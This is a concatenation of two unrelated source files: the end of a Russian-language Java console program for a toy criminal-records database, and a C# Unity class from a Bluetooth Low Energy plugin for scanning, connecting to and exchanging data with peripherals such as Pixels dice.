String distinctiveFeatures = scanner.nextLine();
System.out.println("Введите гражданство: ");
String citizenship = scanner.nextLine();
System.out.println("Введите место и дату рождения: ");
String birthInfo = scanner.nextLine();
System.out.println("Введите преступную профессию: ");
String criminalProfession = scanner.nextLine();
System.out.println("Введите последнее дело: ");
String lastCrime = scanner.nextLine();
return new Criminal(lastName, firstName, nickname, height, hairColor, distinctiveFeatures, citizenship, birthInfo, criminalProfession, lastCrime);
}
private static void searchCriminal(InterpolDatabase interpolDatabase, Scanner scanner) {
System.out.println("\n=== Поиск преступника ===");
System.out.println("Выберите параметр для поиска:");
System.out.println("1 - По фамилии");
System.out.println("2 - По имени");
System.out.println("3 - По кличке");
System.out.println("4 - По гражданству");
System.out.println("5 - По преступной профессии");
int searchOption = scanner.nextInt();
scanner.nextLine();
System.out.println("Введите значение для поиска: ");
String searchValue = scanner.nextLine();
ArrayList<Criminal> foundCriminals = interpolDatabase.searchCriminals(searchOption, searchValue);
if (!foundCriminals.isEmpty()) {
System.out.println("\nНайденные преступники:");
for (Criminal criminal : foundCriminals) {
System.out.println(criminal.toString());
}
} else {
System.out.println("Преступники по заданным критериям не найдены.");
}
}
private static void deleteCriminal(InterpolDatabase interpolDatabase, Scanner scanner) {
System.out.println("\n=== Удаление преступника ===");
System.out.println("Введите фамилию преступника, которого вы хотите удалить: ");
String lastNameToDelete = scanner.nextLine();
if (interpolDatabase.deleteCriminal(lastNameToDelete)) {
System.out.println("Преступник удален.");
} else {
System.out.println("Преступник с указанной фамилией не найден.");
}
}
private static void viewInterpolDatabase(InterpolDatabase interpolDatabase) {
System.out.println(interpolDatabase.toString());
}
}
|
// Ignore Spelling: Mtu Rssi Uuid Uuids
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Linq;
using UnityEngine;
//! \defgroup Unity_CSharp
//! @brief A collection of C# classes for the Unity game engine that provides a simplified access
//! to Bluetooth Low Energy peripherals.
//! @see Systemic.Unity.BluetoothLE and Systemic.Unity.Pixels namespaces.
/// <summary>
/// Systemic Games base namespace.
/// </summary>
namespace Systemic { }
/// <summary>
/// A collection of C# classes for the Unity game engine provided by Systemic Games.
/// This open source package is available on GitHub at https://github.com/GameWithPixels/PixelsUnityPlugin.
/// </summary>
namespace Systemic.Unity { }
/// <summary>
/// A collection of C# classes for the Unity game engine that provides a simplified access to Bluetooth
/// Low Energy peripherals.
///
/// Unity plugins are used to access native Bluetooth APIs specific to each supported platform:
/// Windows 10 and above, iOS and Android.
///
/// The most useful class for Unity developers to access a Bluetooth peripheral is <see cref="Central"/>.
///
/// For communicating specifically with Pixel dices see <see cref="Systemic.Unity.Pixels.Pixel"/>.
///
/// For <see cref="Central"/>.
/// </summary>
/// <remarks>
/// Some knowledge with Bluetooth Low Energy semantics is recommended for reading this documentation.
/// </remarks>
//! @ingroup Unity_CSharp
namespace Systemic.Unity.BluetoothLE
{
/// <summary>
/// A static class with methods for discovering, connecting to, and interacting with Bluetooth
/// Low Energy (BLE) peripherals.
///
/// Use the <see cref="StartScanning"/> method to discover available BLE peripherals.
/// Then connect to a scanned peripheral with a call to <see cref="ConnectPeripheralAsync"/>.
/// Once connected, the peripheral can be queried for its name, MTU, RSSI, services and characteristics.
/// Characteristics can be read, written and subscribed to.
///
/// - Be sure to disconnect the peripheral once it is not needed anymore.
/// - Calls from any thread other than the main thread throw an exception.
/// - Any method ending by Async returns an enumerator which is meant to be run as a coroutine.
/// - A <see cref="GameObject"/> named SystemicBleCentral is created upon calling <see cref="Initialize"/>
/// and destroyed on calling <see cref="Shutdown"/>.
///
/// For Android, be sure to update the application manifest with the necessary Bluetooth permissions
/// listed in <c>Assets\Plugins\Systemic\Plugins\Android\AndroidManifest.xml</c>.
/// If your application doesn't already have manifest, just copy the one provided in <c>Assets\Plugins\Android</c>.
///
/// This class leverages <see cref="NativeInterface"/> to perform most of its operations.
/// </remarks>
/// <example>
/// Here is a simplified example for scanning, connecting and sending a message to a peripheral.
/// @code{.cs}
/// // Scan for all peripherals (it's best to specify which services are required)
/// Central.ScanForPeripheralsWithServices();
///
/// // Wait until we get at least one peripheral
/// yield return new WaitUntil(() => Central.ScannedPeripherals.Length > 0);
///
/// // Stop scanning (saves battery life on mobile devices)
/// Central.StopScan();
///
/// // Select first peripheral
/// var peripheral = Central.ScannedPeripherals[0];
///
/// // And attempt to connect to it
/// var request = Central.ConnectPeripheralAsync(peripheral, (_, connected)
/// => Debug.Log(connected ? "Connected!" : "Not connected!"));
/// yield return request;
///
/// // Check result
/// if (request.IsSuccess)
/// {
/// // And send some data
/// yield return Central.WriteCharacteristicAsync(
/// peripheral, aServiceUuid, aCharacteristicUuid, anArrayOfBytes);
/// }
/// @endcode
/// </example>
public static class Central
{
// Internal peripheral states
enum PeripheralState
{
Disconnected, Connecting, Ready, Disconnecting,
}
// Keeps a bunch of information about a known peripheral
class PeripheralInfo
{
public string Name => ScannedPeripheral?.Name;
public ScannedPeripheral ScannedPeripheral;
public PeripheralState State;
public NativePeripheralHandle NativeHandle;
public Guid[] RequiredServices;
public Action<ScannedPeripheral, bool> ConnStatusChangedCallback;
}
// All scanned peripherals, key is the peripheral SystemId, items are never removed except on shutdown
static readonly Dictionary<string, PeripheralInfo> _peripheralsInfo = new Dictionary<string, PeripheralInfo>();
/// <summary>
/// The default timeout value (in seconds) for requests send to a BLE peripheral.
/// </summary>
public const int DefaultRequestTimeout = 10;
/// <summary>
/// Indicates whether <see cref="Central"/> is ready for scanning and connecting to peripherals.
/// Reasons for not being ready are:
/// - <see cref="Initialize"/> hasn't been called, or <see cref="Shutdown"/> was called afterwards.
/// - Initialization is still on-going.
/// - The host device either doesn't have a Bluetooth radio, doesn't have permission to use the radio
/// or it's radio is turned off.
/// </summary>
public static BluetoothStatus Status { get; private set; } = BluetoothStatus.Unknown;
/// <summary>
/// Indicates whether a Bluetooth scan is on-going.
/// </summary>
public static bool IsScanning { get; private set; } = false;
/// <summary>
/// Gets the list of all scanned peripherals since <see cref="Initialize"/> was called.
/// The list is cleared on <see cref="Shutdown"/>.
/// </summary>
public static ScannedPeripheral[] ScannedPeripherals
{
get
{
EnsureRunningOnMainThread();
return _peripheralsInfo.Values
.Select(pInf => pInf.ScannedPeripheral)
.ToArray();
}
}
/// <summary>
/// Gets the list of peripherals to which <see cref="Central"/> is connected
/// and that ready to communicate with (meaning services and characteristics have been
/// discovered and MTU has beens set).
/// </summary>
public static ScannedPeripheral[] ReadyPeripherals
{
get
{
EnsureRunningOnMainThread();
return _peripheralsInfo.Values
.Where(pInf => pInf.State == PeripheralState.Ready)
.Select(pInf => pInf.ScannedPeripheral)
.ToArray();
}
}
/// <summary>
/// Occurs when <see cref="Status"/> changes.
/// </summary>
public static event Action<BluetoothStatus> StatusChanged;
/// <summary>
/// Occurs when <see cref="IsScanning"/> changes.
/// </summary>
public static event Action<bool> IsScanningChanged;
/// <summary>
/// Occurs when a peripheral is discovered or re-discovered.
/// Discovery happens each time <see cref="Central"/> receives a discovery packet
/// from a peripheral. This may happen at a frequency between several times per second
/// and every few seconds.
/// </summary>
public static event Action<ScannedPeripheral> PeripheralDiscovered;
//! \name Static class life cycle
//! @{
/// <summary>
/// Initializes the static class.
/// The <see cref="Status"/> property is updated to reflect the availability of Bluetooth.
/// </summary>
/// <returns>
/// Indicates whether the call has succeeded.
/// - If <c>true</c> is returned, the static class might not be ready yet.
/// - If <c>false</c> is returned, there is probably something wrong with the platform specific native plugin.
/// </returns>
public static bool Initialize()
{
EnsureRunningOnMainThread();
Debug.Log("[BLE] Initializing");
InternalBehaviour.Create();
// Initialize NativeInterface and subscribe to get notified when the Bluetooth radio status changes
bool success = NativeInterface.Initialize(status =>
{
EnqueueAction(() =>
{
UpdateStatus(status);
if (status != BluetoothStatus.Ready)
{
UpdateIsScanning(false);
}
});
});
if (!success)
{
Debug.LogError("[BLE] Failed to initialize");
}
return success;
}
/// <summary>
/// Shutdowns the static class.
///
/// Scanning is stopped and all peripherals are disconnected and removed.
/// </summary>
public static void Shutdown()
{
EnsureRunningOnMainThread();
Debug.Log("[BLE] Shutting down");
// Reset states
_peripheralsInfo.Clear();
UpdateStatus(BluetoothStatus.Unknown);
UpdateIsScanning(false);
// Shutdown native interface and destroy companion mono behaviour
NativeInterface.Shutdown();
InternalBehaviour.ScheduleDestroy();
}
//! @}
//! \name Peripherals scanning
//! @{
/// <summary>
/// Starts scanning for BLE peripherals advertising the given list of services.
///
/// If a scan is already running, it is updated to use the new list of required services.
///
/// Specifying one more service required for the peripherals saves battery on mobile devices.
/// </summary>
/// <param name="serviceUuids">List of services that the peripheral should advertise, may be null or empty.</param>
/// <returns>Indicates whether the call has succeeded. It fails if <see cref="Status"/> is not <c>Ready</c>.</returns>
public static bool StartScanning(IEnumerable<Guid> serviceUuids = null)
{
EnsureRunningOnMainThread();
// We must be ready
if (Status != BluetoothStatus.Ready)
{
Debug.LogError("[BLE] Central not ready for scanning");
return false;
}
// Make sure we don't have a null array
var requiredServices = serviceUuids?.ToArray() ?? Array.Empty<Guid>();
// Start scanning
bool isScanning = NativeInterface.StartScan(serviceUuids, scannedPeripheral =>
{
EnqueueAction(() =>
{
Debug.Log($"[BLE:{scannedPeripheral.Name}] Peripheral discovered with name={scannedPeripheral.Name}, RSSI={scannedPeripheral.Rssi}");
// Keep track of discovered peripherals
if (!_peripheralsInfo.TryGetValue(scannedPeripheral.SystemId, out PeripheralInfo pInf))
{
_peripheralsInfo[scannedPeripheral.SystemId] = pInf = new PeripheralInfo();
}
pInf.ScannedPeripheral = scannedPeripheral;
pInf.RequiredServices = requiredServices;
//TODO pInf.State = PeripheralState.Disconnected;
// Notify
PeripheralDiscovered?.Invoke(scannedPeripheral);
});
});
if (isScanning)
{
Debug.Log($"[BLE] Started scan for BLE peripherals with services {serviceUuids?.Select(g => g.ToString()).Aggregate((a, b) => a + ", " + b)}");
}
else
{
Debug.LogError("[BLE] Failed to start scanning for peripherals");
}
UpdateIsScanning(isScanning);
return isScanning;
}
/// <summary>
/// Stops an on-going BLE scan.
/// </summary>
public static void StopScanning()
{
EnsureRunningOnMainThread();
Debug.Log($"[BLE] Stopping scan");
NativeInterface.StopScan();
UpdateIsScanning(false);
}
//! @}
//! \name Peripheral connection and disconnection
//! @{
/// <summary>
/// Asynchronously connects to a discovered peripheral.
///
/// The enumerator stops on either of these conditions:
/// - The connection succeeded.
/// - <see cref="DisconnectPeripheralAsync"/> was called for the given peripheral.
/// - The connection didn't succeeded after the given timeout value.
/// - An error occurred while trying to connect.
///
/// Once connected to the peripheral, <see cref="Central"/> sends a request to change the peripheral's
/// Maximum Transmission Unit (MTU) to the highest supported value.
///
/// Once the MTU is changed, <see cref="Central"/> notifies the caller that the peripheral is ready to be used
/// by invoking the <paramref name="onConnectionEvent"/> handler with the second argument set to <c>true</c>.
///
/// Upon a disconnection (whichever the cause), <see cref="Central"/> notifies the caller by invoking
/// the <paramref name="onConnectionEvent"/> handler with the second argument set to <c>false</c>.
///
/// Check <see cref="RequestEnumerator"/> members for more details.
/// </summary>
/// <param name="peripheral">Scanned peripheral to connect to.</param>
/// <param name="onConnectionEvent">Called each time the connection state changes, the peripheral is passed as
/// the first argument and the connection state as the second argument
/// (<c>true</c> means connected).</param>
/// <param name="timeoutSec">The timeout value, in seconds.
/// The default is zero in which case the request never times out.</param>
/// <returns>
/// An enumerator meant to be run as a coroutine.
/// See <see cref="RequestEnumerator"/> properties to get the request status.
/// </returns>
/// <remarks>At the moment the Windows implementation timeouts at a maximum of 7 seconds.</remarks>
public static RequestEnumerator ConnectPeripheralAsync(ScannedPeripheral peripheral, Action<ScannedPeripheral, bool> onConnectionEvent, float timeoutSec = 0)
{
if (timeoutSec < 0) throw new ArgumentException(nameof(timeoutSec) + " must be greater or equal to zero", nameof(timeoutSec));
EnsureRunningOnMainThread();
// Get peripheral state
PeripheralInfo pInf = GetPeripheralInfo(peripheral);
//TODO Native Android & Windows may timeout before the given timeout value
//TODO Handle case when another connection request for the same device is already under way
//Debug.Assert(pInf?.ConnStatusChangedCallback == null);
// We need a valid peripheral
if (!pInf.NativeHandle.IsValid)
{
// Create new native peripheral handle
pInf.State = PeripheralState.Disconnected;
pInf.NativeHandle = NativeInterface.CreatePeripheral(peripheral,
(connectionEvent, reason) => EnqueuePeripheralAction(pInf, () =>
{
Debug.Log($"[BLE {pInf.Name}] "
+ $"Connection event `{connectionEvent}`"
+ (reason == ConnectionEventReason.Success ? "" : $" with reason `{reason}`")
+ $", state was `{pInf.State}`");
OnPeripheralConnectionEvent(pInf, connectionEvent, reason);
}));
// Check that the above call worked
if (pInf.NativeHandle.IsValid)
{
Debug.Log($"[BLE {pInf.Name}] Native peripheral created");
}
else
{
Debug.LogError($"[BLE {pInf.Name}] Failed to create native peripheral");
}
}
// Attempt connecting until we got a success, a timeout or an unexpected error
return new Internal.ConnectRequestEnumerator(pInf.NativeHandle, timeoutSec,
(_, onResult) =>
{
Debug.Assert(pInf.NativeHandle.IsValid); // Already checked by RequestEnumerator
Debug.Log($"[BLE {pInf.Name}] Connecting with {(timeoutSec == 0 ? "no timeout" : $"timeout of {timeoutSec}s")}, last known state is {pInf.State}");
pInf.ConnStatusChangedCallback = onConnectionEvent;
Connect(pInf, onResult);
static void Connect(PeripheralInfo pInf, NativeRequestResultCallback onResult)
{
pInf.State = PeripheralState.Connecting;
NativeInterface.ConnectPeripheral(
pInf.NativeHandle,
pInf.RequiredServices,
false, //TODO autoConnect
status => EnqueuePeripheralAction(pInf, () =>
{
Debug.Log($"[BLE {pInf.Name}] Connect result is `{status}`");
// We're either connected on in an invalid state, in both cases we stop trying to connect again
onResult(status);
}));
}
},
() => Debug.LogWarning($"[BLE {pInf.Name}] Connection timeout, canceling..."));
// Connection event callback
static void OnPeripheralConnectionEvent(PeripheralInfo pInf, ConnectionEvent connectionEvent, ConnectionEventReason reason)
{
bool ready = connectionEvent == ConnectionEvent.Ready;
bool disconnected = connectionEvent == ConnectionEvent.Disconnected
|| connectionEvent == ConnectionEvent.FailedToConnect;
if (connectionEvent == ConnectionEvent.Disconnecting)
{
pInf.State = PeripheralState.Disconnecting;
}
if (!(disconnected || ready))
{
// Nothing to do
return;
}
if (ready)
{
if (pInf.NativeHandle.IsValid && (NativeInterface.GetPeripheralMtu(pInf.NativeHandle) == NativeInterface.MinMtu))
{
// Change MTU to maximum (note: MTU can only be set once)
NativeInterface.RequestPeripheralMtu(pInf.NativeHandle, NativeInterface.MaxMtu,
(mtu, status) => EnqueuePeripheralAction(pInf, () =>
{
Debug.Log($"[BLE {pInf.Name}] MTU {(status == RequestStatus.Success ? "changed to" : "kept at")} {mtu} bytes");
if ((status != RequestStatus.Success) && (status != RequestStatus.NotSupported))
{
Debug.LogError($"[BLE {pInf.Name}] Failed to change MTU, result is `{status}`");
}
SetReady(pInf);
}));
}
else
{
SetReady(pInf);
}
}
else if (pInf.State != PeripheralState.Disconnected)
{
// We got disconnected
Debug.Log($"[BLE {pInf.Name}] Peripheral is disconnected, notifying");
// Update state
pInf.State = PeripheralState.Disconnected;
// Notify
pInf.ConnStatusChangedCallback?.Invoke(pInf.ScannedPeripheral, false);
}
}
static void SetReady(PeripheralInfo pInf)
{
if (pInf.NativeHandle.IsValid && (pInf.State == PeripheralState.Connecting))
{
// We're done and ready
Debug.Log($"[BLE {pInf.Name}] Peripheral is ready, notifying");
// Update state
pInf.State = PeripheralState.Ready;
// Notify
pInf.ConnStatusChangedCallback?.Invoke(pInf.ScannedPeripheral, true);
}
else if (pInf.NativeHandle.IsValid)
{
Debug.LogWarning($"[BLE {pInf.Name}] Connection canceled before being ready");
}
else
{
Debug.LogWarning($"[BLE {pInf.Name}] Peripheral became invalid before being ready");
}
}
}
/// <summary>
/// Disconnects a peripheral.
/// </summary>
/// <param name="peripheral">Scanned peripheral to disconnect from.</param>
/// <returns>
/// An enumerator meant to be run as a coroutine.
/// See <see cref="RequestEnumerator"/> properties to get the request status.
/// </returns>
public static RequestEnumerator DisconnectPeripheralAsync(ScannedPeripheral peripheral)
{
EnsureRunningOnMainThread();
var pInf = GetPeripheralInfo(peripheral);
Debug.Log($"[BLE {pInf.Name}] Disconnecting{(pInf.NativeHandle.IsValid ? "" : " invalid peripheral")}, last known state is {pInf.State}");
return new Internal.DisconnectRequestEnumerator(pInf.NativeHandle, (nativeHandle) =>
{
//TODO releasing the peripheral now will break the next attempt to connect
// if done before this callback runs Also an unexpected disconnect won't
// release the peripheral.
// Release peripheral even if the disconnect might have failed
//NativeInterface.ReleasePeripheral(nativeHandle);
//pInf.NativeHandle = new NativePeripheralHandle();
});
}
//! @}
//! \name Peripheral operations
//! Only valid once a peripheral is connected.
//! @{
/// <summary>
/// Gets the name of the given peripheral.
/// </summary>
/// <param name="peripheral">The connected peripheral.</param>
/// <returns>The peripheral name.</returns>
/// <remarks>The peripheral must be connected.</remarks>
public static string GetPeripheralName(ScannedPeripheral peripheral)
{
EnsureRunningOnMainThread();
//TODO check peripheral?
var nativeHandle = GetPeripheralInfo(peripheral).NativeHandle;
return nativeHandle.IsValid ? NativeInterface.GetPeripheralName(nativeHandle) : null;
}
/// <summary>
/// Gets the Maximum Transmission Unit (MTU) for the given peripheral.
///
/// The MTU is the maximum length of a packet that can be send to the BLE peripheral.
/// However the BLE protocol uses 3 bytes, so the maximum data size that can be given
/// to <see cref="WriteCharacteristicAsync"/> is 3 bytes less than the MTU.
/// </summary>
/// <param name="peripheral">The connected peripheral.</param>
/// <returns>The peripheral MTU.</returns>
/// <remarks>The peripheral must be connected.</remarks>
public static int GetPeripheralMtu(ScannedPeripheral peripheral)
{
//TODO check if MTU is 23 or 20 (and update comment if it's the later)
EnsureRunningOnMainThread();
var nativeHandle = GetPeripheralInfo(peripheral).NativeHandle;
return nativeHandle.IsValid ? NativeInterface.GetPeripheralMtu(nativeHandle) : 0;
}
/// <summary>
/// Asynchronously reads the Received Signal Strength Indicator (RSSI) for the given peripheral.
///
/// It gives an indication of the connection quality.
/// </summary>
/// <param name="peripheral">The connected peripheral.</param>
/// <param name="timeoutSec">The maximum allowed time for the request, in seconds.</param>
/// <returns>
/// An enumerator meant to be run as a coroutine.
/// See <see cref="ValueRequestEnumerator<>"/> properties to get the RSSI value and the request status.
/// </returns>
/// <remarks>The peripheral must be connected.</remarks>
public static ValueRequestEnumerator<int> ReadPeripheralRssi(ScannedPeripheral peripheral, float timeoutSec = DefaultRequestTimeout)
{
EnsureRunningOnMainThread();
var nativeHandle = GetPeripheralInfo(peripheral).NativeHandle;
return new ValueRequestEnumerator<int>(
RequestOperation.ReadPeripheralRssi, nativeHandle, timeoutSec,
(p, onResult) => NativeInterface.ReadPeripheralRssi(p, onResult));
}
//! @}
//! \name Services operations
//! Valid only for connected peripherals.
//! @{
/// <summary>
/// Gets the list of discovered services for the given peripheral.
/// </summary>
/// <param name="peripheral">The connected peripheral.</param>
/// <returns>The list of discovered services.</returns>
/// <remarks>The peripheral must be connected.</remarks>
public static Guid[] GetDiscoveredServices(ScannedPeripheral peripheral)
{
EnsureRunningOnMainThread();
var nativeHandle = GetPeripheralInfo(peripheral).NativeHandle;
return nativeHandle.IsValid ? NativeInterface.GetDiscoveredServices(nativeHandle) : null;
}
/// <summary>
/// Gets the list of discovered characteristics of the given peripheral's service.
///
/// The same characteristic may be listed several times according to the peripheral's configuration.
/// </summary>
/// <param name="peripheral">The connected peripheral.</param>
/// <param name="serviceUuid">The service UUID for which to retrieve the characteristics.</param>
/// <returns>The list of discovered characteristics of a service.</returns>
/// <remarks>The peripheral must be connected.</remarks>
public static Guid[] GetServiceCharacteristics(ScannedPeripheral peripheral, Guid serviceUuid)
{
EnsureRunningOnMainThread();
var nativeHandle = GetPeripheralInfo(peripheral).NativeHandle;
return nativeHandle.IsValid ? NativeInterface.GetServiceCharacteristics(nativeHandle, serviceUuid) : null;
}
//! @}
//! \name Characteristics operations
//! Valid only for connected peripherals.
//! @{
/// <summary>
/// Gets the BLE properties of the specified service's characteristic for the given peripheral.
/// </summary>
/// <param name="peripheral">The connected peripheral.</param>
/// <param name="serviceUuid">The service UUID.</param>
/// <param name="characteristicUuid">The characteristic UUID.</param>
/// <param name="instanceIndex">The instance index of the characteristic if listed more than once for the service, otherwise zero.</param>
/// <returns>The BLE properties of a service's characteristic.</returns>
/// <remarks>The peripheral must be connected.</remarks>
public static CharacteristicProperties GetCharacteristicProperties(ScannedPeripheral peripheral, Guid serviceUuid, Guid characteristicUuid, uint instanceIndex = 0)
{
EnsureRunningOnMainThread();
var nativeHandle = GetPeripheralInfo(peripheral).NativeHandle;
return nativeHandle.IsValid ? NativeInterface.GetCharacteristicProperties(nativeHandle, serviceUuid, characteristicUuid, instanceIndex) : CharacteristicProperties.None;
}
/// <summary>
/// Asynchronously reads the value of the specified service's characteristic for the given peripheral.
///
/// The call fails if the characteristic is not readable.
/// </summary>
/// <param name="peripheral">The connected peripheral.</param>
/// <param name="serviceUuid">The service UUID.</param>
/// <param name="characteristicUuid">The characteristic UUID.</param>
/// <param name="timeoutSec">The maximum allowed time for the request, in seconds.</param>
/// <returns>
/// An enumerator meant to be run as a coroutine.
/// See <see cref="RequestEnumerator"/> properties to get the request status.
/// </returns>
/// <remarks>The peripheral must be connected.</remarks>
public static ValueRequestEnumerator<byte[]> ReadCharacteristicAsync(ScannedPeripheral peripheral, Guid serviceUuid, Guid characteristicUuid, float timeoutSec = DefaultRequestTimeout)
{
return ReadCharacteristicAsync(peripheral, serviceUuid, characteristicUuid, 0, timeoutSec);
}
/// <summary>
/// Asynchronously reads the value of the specified service's characteristic for the given peripheral.
///
/// The call fails if the characteristic is not readable.
/// </summary>
/// <param name="peripheral">The connected peripheral.</param>
/// <param name="serviceUuid">The service UUID.</param>
/// <param name="characteristicUuid">The characteristic UUID.</param>
/// <param name="instanceIndex">The instance index of the characteristic if listed more than once for the service.</param>
/// <param name="timeoutSec">The maximum allowed time for the request, in seconds.</param>
/// <returns>
/// An enumerator meant to be run as a coroutine.
/// See <see cref="ValueRequestEnumerator<>"/> properties to get the characteristic's value and the request status.
/// </returns>
/// <remarks>The peripheral must be connected.</remarks>
public static ValueRequestEnumerator<byte[]> ReadCharacteristicAsync(ScannedPeripheral peripheral, Guid serviceUuid, Guid characteristicUuid, uint instanceIndex, float timeoutSec = DefaultRequestTimeout)
{
EnsureRunningOnMainThread();
var pInf = GetPeripheralInfo(peripheral);
return new ValueRequestEnumerator<byte[]>(
RequestOperation.ReadCharacteristic, pInf.NativeHandle, timeoutSec,
(p, onResult) => NativeInterface.ReadCharacteristic(
p, serviceUuid, characteristicUuid, instanceIndex,
onValueReadResult: onResult));
}
/// <summary>
/// Asynchronously writes to the specified service's characteristic for the given peripheral
/// and waits for the peripheral to respond.
///
/// The call fails if the characteristic is not writable.
/// </summary>
/// <param name="peripheral">The connected peripheral.</param>
/// <param name="serviceUuid">The service UUID.</param>
/// <param name="characteristicUuid">The characteristic UUID.</param>
/// <param name="data">The data to write to the characteristic (may be empty).</param>
/// <param name="timeoutSec">The maximum allowed time for the request, in seconds.</param>
/// <returns>
/// An enumerator meant to be run as a coroutine.
/// See <see cref="RequestEnumerator"/> properties to get the request status.
/// </returns>
/// <remarks>The peripheral must be connected.</remarks>
public static RequestEnumerator WriteCharacteristicAsync(ScannedPeripheral peripheral, Guid serviceUuid, Guid characteristicUuid, byte[] data, float timeoutSec = DefaultRequestTimeout)
{
return WriteCharacteristicAsync(peripheral, serviceUuid, characteristicUuid, 0, data, false, timeoutSec);
}
/// <summary>
/// Asynchronously writes to the specified service's characteristic for the given peripheral.
///
/// The call fails if the characteristic is not writable.
/// </summary>
/// <param name="peripheral">The connected peripheral.</param>
/// <param name="serviceUuid">The service UUID.</param>
/// <param name="characteristicUuid">The characteristic UUID.</param>
/// <param name="data">The data to write to the characteristic (may be empty).</param>
/// <param name="withoutResponse">Whether to wait for the peripheral to respond that it has received the data.
/// It's usually best to request a response.</param>
/// <param name="timeoutSec">The maximum allowed time for the request, in seconds.</param>
/// <returns>
/// An enumerator meant to be run as a coroutine.
/// See <see cref="RequestEnumerator"/> properties to get the request status.
/// </returns>
/// <remarks>The peripheral must be connected.</remarks>
public static RequestEnumerator WriteCharacteristicAsync(ScannedPeripheral peripheral, Guid serviceUuid, Guid characteristicUuid, byte[] data, bool withoutResponse, float timeoutSec = DefaultRequestTimeout)
{
return WriteCharacteristicAsync(peripheral, serviceUuid, characteristicUuid, 0, data, withoutResponse, timeoutSec);
}
/// <summary>
/// Asynchronously writes to the specified service's characteristic for the given peripheral.
///
/// The call fails if the characteristic is not writable.
/// </summary>
/// <param name="peripheral">The connected peripheral.</param>
/// <param name="serviceUuid">The service UUID.</param>
/// <param name="characteristicUuid">The characteristic UUID.</param>
/// <param name="instanceIndex">The instance index of the characteristic if listed more than once for the service.</param>
/// <param name="data">The data to write to the characteristic (may be empty).</param>
/// <param name="withoutResponse">Whether to wait for the peripheral to respond that it has received the data.
/// It's usually best to request a response.</param>
/// <param name="timeoutSec">The maximum allowed time for the request, in seconds.</param>
/// <returns>
/// An enumerator meant to be run as a coroutine.
/// See <see cref="RequestEnumerator"/> properties to get the request status.
/// </returns>
/// <remarks>The peripheral must be connected.</remarks>
public static RequestEnumerator WriteCharacteristicAsync(ScannedPeripheral peripheral, Guid serviceUuid, Guid characteristicUuid, uint instanceIndex, byte[] data, bool withoutResponse = false, float timeoutSec = DefaultRequestTimeout)
{
EnsureRunningOnMainThread();
var nativeHandle = GetPeripheralInfo(peripheral).NativeHandle;
return new RequestEnumerator(
RequestOperation.WriteCharacteristic, nativeHandle, timeoutSec,
(p, onResult) => NativeInterface.WriteCharacteristic(
p, serviceUuid, characteristicUuid, instanceIndex, data, withoutResponse, onResult));
}
/// <summary>
/// Asynchronously subscribes for value changes of the specified service's characteristic for the given peripheral.
///
/// Replaces a previously registered value change handler for the same characteristic.
/// The call fails if the characteristic doesn't support notifications.
/// </summary>
/// <param name="peripheral">The connected peripheral.</param>
/// <param name="serviceUuid">The service UUID.</param>
/// <param name="characteristicUuid">The characteristic UUID.</param>
/// <param name="onValueChanged">Invoked when the value of the characteristic changes.</param>
/// <param name="timeoutSec">The maximum allowed time for the request, in seconds.</param>
/// <returns>
/// An enumerator meant to be run as a coroutine.
/// See <see cref="RequestEnumerator"/> properties to get the request status.
/// </returns>
/// <remarks>The peripheral must be connected.</remarks>
public static RequestEnumerator SubscribeCharacteristicAsync(ScannedPeripheral peripheral, Guid serviceUuid, Guid characteristicUuid, Action<byte[]> onValueChanged, float timeoutSec = DefaultRequestTimeout)
{
return SubscribeCharacteristicAsync(peripheral, serviceUuid, characteristicUuid, 0, onValueChanged, timeoutSec);
}
/// <summary>
/// Asynchronously subscribe for value changes of the specified service's characteristic for the given peripheral.
/// </summary>
/// <param name="peripheral">The connected peripheral.</param>
/// <param name="serviceUuid">The service UUID.</param>
/// <param name="characteristicUuid">The characteristic UUID.</param>
/// <param name="instanceIndex">The instance index of the characteristic if listed more than once for the service.</param>
/// <param name="onValueChanged">Invoked when the value of the characteristic changes.</param>
/// <param name="timeoutSec">The maximum allowed time for the request, in seconds.</param>
/// <returns>
/// An enumerator meant to be run as a coroutine.
/// See <see cref="RequestEnumerator"/> properties to get the request status.
/// </returns>
/// <remarks>The peripheral must be connected.</remarks>
public static RequestEnumerator SubscribeCharacteristicAsync(ScannedPeripheral peripheral, Guid serviceUuid, Guid characteristicUuid, uint instanceIndex, Action<byte[]> onValueChanged, float timeoutSec = DefaultRequestTimeout)
{
EnsureRunningOnMainThread();
//TODO it doesn't seem correct to call onResult!
NativeValueRequestResultCallback<byte[]> GetNativeValueChangedHandler(PeripheralInfo pInf, Action<byte[]> onValueChanged, NativeRequestResultCallback onResult)
{
return (data, status) =>
{
try
{
if (status == RequestStatus.Success)
{
Debug.Assert(data != null);
EnqueuePeripheralAction(pInf, () => onValueChanged(data));
}
else
{
Debug.Assert(data == null);
onResult(status);
}
}
catch (Exception e)
{
Debug.LogException(e);
}
};
}
var pInf = GetPeripheralInfo(peripheral);
return new RequestEnumerator(
RequestOperation.SubscribeCharacteristic, pInf.NativeHandle, timeoutSec,
(p, onResult) => NativeInterface.SubscribeCharacteristic(
p, serviceUuid, characteristicUuid, instanceIndex,
onValueChanged: GetNativeValueChangedHandler(pInf, onValueChanged, onResult),
onResult: onResult));
}
/// <summary>
/// Asynchronously unsubscribe from the specified service's characteristic for the given peripheral.
/// </summary>
/// <param name="peripheral">The connected peripheral.</param>
/// <param name="serviceUuid">The service UUID.</param>
/// <param name="characteristicUuid">The characteristic UUID.</param>
/// <param name="instanceIndex">The instance index of the characteristic if listed more than once for the service.</param>
/// <param name="timeoutSec">The maximum allowed time for the request, in seconds.</param>
/// <returns>
/// An enumerator meant to be run as a coroutine.
/// See <see cref="RequestEnumerator"/> properties to get the request status.
/// </returns>
/// <remarks>The peripheral must be connected.</remarks>
public static RequestEnumerator UnsubscribeCharacteristicAsync(ScannedPeripheral peripheral, Guid serviceUuid, Guid characteristicUuid, uint instanceIndex = 0, float timeoutSec = DefaultRequestTimeout)
{
EnsureRunningOnMainThread();
var nativeHandle = GetPeripheralInfo(peripheral).NativeHandle;
return new RequestEnumerator(
RequestOperation.UnsubscribeCharacteristic, nativeHandle, timeoutSec,
(p, onResult) => NativeInterface.UnsubscribeCharacteristic(
p, serviceUuid, characteristicUuid, instanceIndex, onResult));
}
//! @}
private static void UpdateStatus(BluetoothStatus status)
{
if (Status != status)
{
Debug.Log($"[BLE] Bluetooth status changed from {Status} to {status}");
Status = status;
StatusChanged?.Invoke(status);
}
}
private static void UpdateIsScanning(bool isScanning)
{
if (IsScanning != isScanning)
{
Debug.Log($"[BLE] IsScanning changed from {IsScanning} to {isScanning}");
IsScanning = isScanning;
